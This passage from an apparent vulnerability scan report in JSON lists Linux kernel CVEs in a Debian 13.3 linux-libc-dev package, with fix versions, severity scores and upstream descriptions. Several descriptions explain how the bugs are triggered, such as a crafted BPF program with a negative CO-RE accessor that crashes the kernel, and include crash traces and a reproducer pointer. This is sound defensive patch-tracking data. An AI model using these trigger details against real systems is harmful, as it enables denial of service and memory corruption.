"https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-45837" ], "PublishedDate": "2026-05-27T11:16:23.02Z", "LastModifiedDate": "2026-06-26T19:09:14.59Z" }, { "VulnerabilityID": "CVE-2026-45839", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45839", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:25ed4a60b829fe8a64e26d7529605398789de14247cdedcd7c17f0f039372c42", "Title": "kernel: bpf: reject negative CO-RE accessor indices in bpf_core_parse_spec()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: reject negative CO-RE accessor indices in bpf_core_parse_spec()\n\nCO-RE accessor strings are colon-separated indices that describe a path\nfrom a root BTF type to a target field, e.g. \"0:1:2\" walks through\nnested struct members. bpf_core_parse_spec() parses each component with\nsscanf(\"%d\"), so negative values like -1 are silently accepted. The\nsubsequent bounds checks (access_idx \u003e= btf_vlen(t)) only guard the\nupper bound and always pass for negative values because C integer\npromotion converts the __u16 btf_vlen result to int, making the\ncomparison (int)(-1) \u003e= (int)(N) false for any positive N.\n\nWhen -1 reaches btf_member_bit_offset() it gets cast to u32 0xffffffff,\nproducing an out-of-bounds read far past the members array. A crafted\nBPF program with a negative CO-RE accessor on any struct that exists in\nvmlinux BTF (e.g. task_struct) crashes the kernel deterministically\nduring BPF_PROG_LOAD on any system with CONFIG_DEBUG_INFO_BTF=y\n(default on major distributions). The bug is reachable with CAP_BPF:\n\n BUG: unable to handle page fault for address: ffffed11818b6626\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n Oops: Oops: 0000 [#1] SMP KASAN NOPTI\n CPU: 0 UID: 0 PID: 85 Comm: poc Not tainted 7.0.0-rc6 #18 PREEMPT(full)\n RIP: 0010:bpf_core_parse_spec (tools/lib/bpf/relo_core.c:354)\n RAX: 00000000ffffffff\n Call Trace:\n \u003cTASK\u003e\n bpf_core_calc_relo_insn (tools/lib/bpf/relo_core.c:1321)\n bpf_core_apply (kernel/bpf/btf.c:9507)\n check_core_relo (kernel/bpf/verifier.c:19475)\n bpf_check (kernel/bpf/verifier.c:26031)\n bpf_prog_load (kernel/bpf/syscall.c:3089)\n __sys_bpf (kernel/bpf/syscall.c:6228)\n \u003c/TASK\u003e\n\nCO-RE accessor indices are inherently non-negative (struct member index,\narray element index, or enumerator index), so reject them immediately\nafter parsing.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45839", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/1c22483a2c4bbf747787f328392ca3e68619c4dc%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1c22483a2c4bbf747787f328392ca3e68619c4dc", "https://git.kernel.org/stable/c/36a9012f76ba8d9189ae56a1f8bb7c87c07a1f3a", "https://git.kernel.org/stable/c/3ff85ae79e1a74baeb916b78a63d821f6d19a994", "https://git.kernel.org/stable/c/669349b4612c26b3d7aacfa99d7174681bd19223", "https://git.kernel.org/stable/c/76f2ebaf79a9ae6d0737b87f045fe769e425d78f", "https://git.kernel.org/stable/c/99dbab7b5a12d8f58d5b0aa2f7a1fe656a70f4b2", "https://git.kernel.org/stable/c/a9e777f856cd2f1efc106afc7bf21aef868509d5", "https://git.kernel.org/stable/c/c8e49b79c4b48bd687706ff6e9c82638dc81ef80", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45839-44c7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45839", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-45839" ], "PublishedDate": "2026-05-27T11:16:23.247Z", "LastModifiedDate": "2026-10-15T02:19:36.55Z" }, { "VulnerabilityID": "CVE-2026-45851", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45851", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:daf508493ba3409c17d50fe9ab884a3b5355376da598edcbbb5f059795e7a389", "Title": "kernel: efi: Fix reservation of unaccepted memory table", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nefi: Fix reservation of unaccepted memory table\n\nThe reserve_unaccepted() function incorrectly calculates the size of the\nmemblock reservation for the unaccepted memory table. It aligns the\nsize of the table, but fails to account for cases where the table's\nstarting physical address (efi.unaccepted) is not page-aligned.\n\nIf the table starts at an offset within a page and its end crosses into\na subsequent page that the aligned size does not cover, the end of the\ntable will not be reserved. This can lead to the table being overwritten\nor inaccessible, causing a kernel panic in accept_memory().\n\nThis issue was observed when starting Intel TDX VMs with specific memory\nsizes (e.g., \u003e 64GB).\n\nFix this by calculating the end address first (including the unaligned\nstart) and then aligning it up, ensuring the entire range is covered\nby the reservation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45851", "https://git.kernel.org/linus/0862438c90487e79822d5647f854977d50381505%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0862438c90487e79822d5647f854977d50381505", "https://git.kernel.org/stable/c/9b18bf59977f5c5bc3b11b210520f62500a7adf3", "https://git.kernel.org/stable/c/b7bc182ec1846be437351e44164089d988f9d0dd", "https://git.kernel.org/stable/c/ba6b6f1502fa55621d1db23f253d54322bdbe4e0", "https://git.kernel.org/stable/c/e649b5916725c68f44ebf45fb396df563c5dbaf2", "https://linux.oracle.com/cve/CVE-2026-45851.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052708-CVE-2026-45851-f0ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45851", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45851" ], "PublishedDate": "2026-05-27T14:16:57.077Z", "LastModifiedDate": "2026-11-06T16:18:47.49Z" }, { "VulnerabilityID": "CVE-2026-45853", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45853", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1670961b682e6e5b9a24ba9cef53f2e2cf8a3a7b8f5aa73f933e2c0caca11c3a", "Title": "kernel: drm/amdgpu: Use kvfree instead of kfree in amdgpu_gmc_get_nps_memranges()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Use kvfree instead of kfree in amdgpu_gmc_get_nps_memranges()\n\namdgpu_discovery_get_nps_info() internally allocates memory for ranges\nusing kvcalloc(), which may use vmalloc() for large allocation. Using\nkfree() to release vmalloc memory will lead to a memory corruption.\n\nUse kvfree() to safely handle both kmalloc and vmalloc allocations.\n\nCompile tested only. Issue found using a prototype static analysis tool\nand code review.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45853", "https://git.kernel.org/linus/0c44d61945c4a80775292d96460aa2f22e62f86c%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0c44d61945c4a80775292d96460aa2f22e62f86c", "https://git.kernel.org/stable/c/16e7e7ad8cdc6b4c4af7f31e262f1494c1b2a55e", "https://git.kernel.org/stable/c/9ae85b0c1909b6c6bfd2636b04cdaf7f520bf2b5", "https://git.kernel.org/stable/c/f441538893eba6347b983f2904819ca6c99da65e", "https://linux.oracle.com/cve/CVE-2026-45853.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052709-CVE-2026-45853-9163@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45853", "https://www.cve.org/CVERecord?id=CVE-2026-45853" ], "PublishedDate": "2026-05-27T14:16:57.33Z", "LastModifiedDate": "2026-11-06T16:18:47.67Z" }, { "VulnerabilityID": "CVE-2026-45866", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45866", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a10d58176d670cfd7ff36ffadfbc7cc87dbae128f17ff7f31a57f74865dd86cb", "Title": "kernel: serial: caif: fix use-after-free in caif_serial ldisc_close()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: caif: fix use-after-free in caif_serial ldisc_close()\n\nThere is a use-after-free bug in caif_serial where handle_tx() may\naccess ser-\u003etty after the tty has been freed.\n\nThe race condition occurs between ldisc_close() and packet transmission:\n\n CPU 0 (close) CPU 1 (xmit)\n ------------- ------------\n ldisc_close()\n tty_kref_put(ser-\u003etty)\n [tty may be freed here]\n \u003c-- race window --\u003e\n caif_xmit()\n handle_tx()\n tty = ser-\u003etty // dangling ptr\n tty-\u003eops-\u003ewrite() // UAF!\n schedule_work()\n ser_release()\n unregister_netdevice()\n\nThe root cause is that tty_kref_put() is called in ldisc_close() while\nthe network device is still active and can receive packets.\n\nSince ser and tty have a 1:1 binding relationship with consistent\nlifecycles (ser is allocated in ldisc_open and freed in ser_release\nvia unregister_netdevice, and each ser binds exactly one tty), we can\nsafely defer the tty reference release to ser_release() where the\nnetwork device is unregistered.\n\nFix this by moving tty_kref_put() from ldisc_close() to ser_release(),\nafter unregister_netdevice(). This ensures the tty reference is held\nas long as the network device exists, preventing the UAF.\n\nNote: We save ser-\u003etty before unregister_netdevice() because ser is\nembedded in netdev's private data and will be freed along with netdev\n(needs_free_netdev = true).\n\nHow to reproduce: Add mdelay(500) at the beginning of ldisc_close()\nto widen the race window, then run the reproducer program [1].\n\nNote: There is a separate deadloop issue in handle_tx() when using\nPORT_UNKNOWN serial ports (e.g., /dev/ttyS3 in QEMU without proper\nserial backend). This deadloop exists even without this patch,\nand is likely caused by inconsistency between uart_write_room() and\nuart_write() in serial core. It has been addressed in a separate\npatch [2].\n\nKASAN report:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in handle_tx+0x5d1/0x620\nRead of size 1 at addr ffff8881131e1490 by task caif_uaf_trigge/9929\n\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x10e/0x1f0\n print_report+0xd0/0x630\n kasan_report+0xe4/0x120\n handle_tx+0x5d1/0x620\n dev_hard_start_xmit+0x9d/0x6c0\n __dev_queue_xmit+0x6e2/0x4410\n packet_xmit+0x243/0x360\n packet_sendmsg+0x26cf/0x5500\n __sys_sendto+0x4a3/0x520\n __x64_sys_sendto+0xe0/0x1c0\n do_syscall_64+0xc9/0xf80\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f615df2c0d7\n\nAllocated by task 9930:\n\nFreed by task 64:\n\nLast potentially related work creation:\n\nThe buggy address belongs to the object at ffff8881131e1000\n which belongs to the cache kmalloc-cg-2k of size 2048\nThe buggy address is located 1168 bytes inside of\n freed 2048-byte region [ffff8881131e1000, ffff8881131e1800)\n\nThe buggy address belongs to the physical page:\npage_owner tracks the page as allocated\npage last free pid 9778 tgid 9778 stack trace:\n\nMemory state around the buggy address:\n ffff8881131e1380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881131e1400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\u003effff8881131e1480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff8881131e1500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881131e1580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================\n[1]: https://gist.github.com/mrpre/f683f244544f7b11e7fa87df9e6c2eeb\n[2]: https://lore.kernel.org/linux-serial/20260204074327.226165-1-jiayuan.chen@linux.dev/T/#u", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45866", "https://git.kernel.org/linus/308e7e4d0a846359685f40aade023aee7b27284c%20%287.0-rc1%29", "https://git.kernel.org/stable/c/308e7e4d0a846359685f40aade023aee7b27284c", "https://git.kernel.org/stable/c/331e2b7051635780edea248dd08ae2026c126f4a", "https://git.kernel.org/stable/c/40962f2bf8cdba63af23aec95ad3f49b689e58e2", "https://git.kernel.org/stable/c/4e63d6f68544ae5269ac9735ae5b69b59b5b8725", "https://git.kernel.org/stable/c/52731ef4438155cea782fac74e547a327ab9e7c5", "https://git.kernel.org/stable/c/5e266ba8d330d3b8e5bc198f238cd8901826cfa1", "https://git.kernel.org/stable/c/c8c197aaa56b25a2d54f3aa07e27e228d6c08546", "https://git.kernel.org/stable/c/d3c75db4e0460641dbcd274b40867e252d801da1", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45866-268a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45866", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45866" ], "PublishedDate": "2026-05-27T14:16:58.963Z", "LastModifiedDate": "2026-06-25T21:06:52.637Z" }, { "VulnerabilityID": "CVE-2026-45867", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45867", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f418e08d44c9d3dffb40f805887029a8e2c1b14ac61253e4aed04a62de6e8119", "Title": "kernel: power: supply: act8945a: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: act8945a: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45867", "https://git.kernel.org/linus/3291c51d4684d048dd2eb91b5b65fcfdaf72141f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0768e8525a46df103647ca5059b32320d7fd17e4", "https://git.kernel.org/stable/c/3291c51d4684d048dd2eb91b5b65fcfdaf72141f", "https://git.kernel.org/stable/c/697bb5dc0cb4791e244f3970b067bc1ef33be9d9", "https://git.kernel.org/stable/c/76a42ba547a9b2e2337894f67a4d9247445007d5", "https://git.kernel.org/stable/c/83c1bd466c514cb24ca6ef347c5aac76a13c4e1e", "https://git.kernel.org/stable/c/d023ef9f748b2090f7a9dbdd5c622b6ad99088ea", "https://git.kernel.org/stable/c/f27eb76def5c07e4d7cc468b40741f19dafc83ce", "https://git.kernel.org/stable/c/f2a0777b1e5a3cee1712c4d3e9095c0df8fc8cb3", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45867-b2c8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45867", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45867" ], "PublishedDate": "2026-05-27T14:17:00.023Z", "LastModifiedDate": "2026-06-25T21:06:38.407Z" }, { "VulnerabilityID": "CVE-2026-45879", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45879", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d370ed9d670189d9d362b35f8285aef767e8450e39e539e6ae188d2aea1ecdcb", "Title": "kernel: power: supply: bq25980: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: bq25980: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45879", "https://git.kernel.org/linus/5f0b1cb41906e86b64bf69f5ededb83b0d757c27%20%287.0-rc1%29", "https://git.kernel.org/stable/c/03d1e4ee4e6aa6d2966e883e4ca0e5be73bf1b7c", "https://git.kernel.org/stable/c/0560a4b09c92e2ecaa883965cf6f9ca51c158ff9", "https://git.kernel.org/stable/c/0de95d29d847c6217b7d5845e24a71a4aee7b359", "https://git.kernel.org/stable/c/16875e3b7bc9e59bfa0acaf1e43f275a6f42a30f", "https://git.kernel.org/stable/c/4aeaf03c17260415c2fdd55992f9ad4188d5455a", "https://git.kernel.org/stable/c/5f0b1cb41906e86b64bf69f5ededb83b0d757c27", "https://git.kernel.org/stable/c/86f93dfb23f5bf4f285c4256a7e909d222f7de56", "https://git.kernel.org/stable/c/abea607ff2f62f4c0a5fb29f7fbdaaab163276a4", "https://lore.kernel.org/linux-cve-announce/2026052715-CVE-2026-45879-24a2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45879", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45879" ], "PublishedDate": "2026-05-27T14:17:01.677Z", "LastModifiedDate": "2026-06-25T21:12:07.587Z" }, { "VulnerabilityID": "CVE-2026-45882", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45882", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b98e78f9bc13b54fc9f2aa580271b5824c72b7e9f951e8a4f82d86aac3af131e", "Title": "kernel: power: supply: pm8916_bms_vm: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, 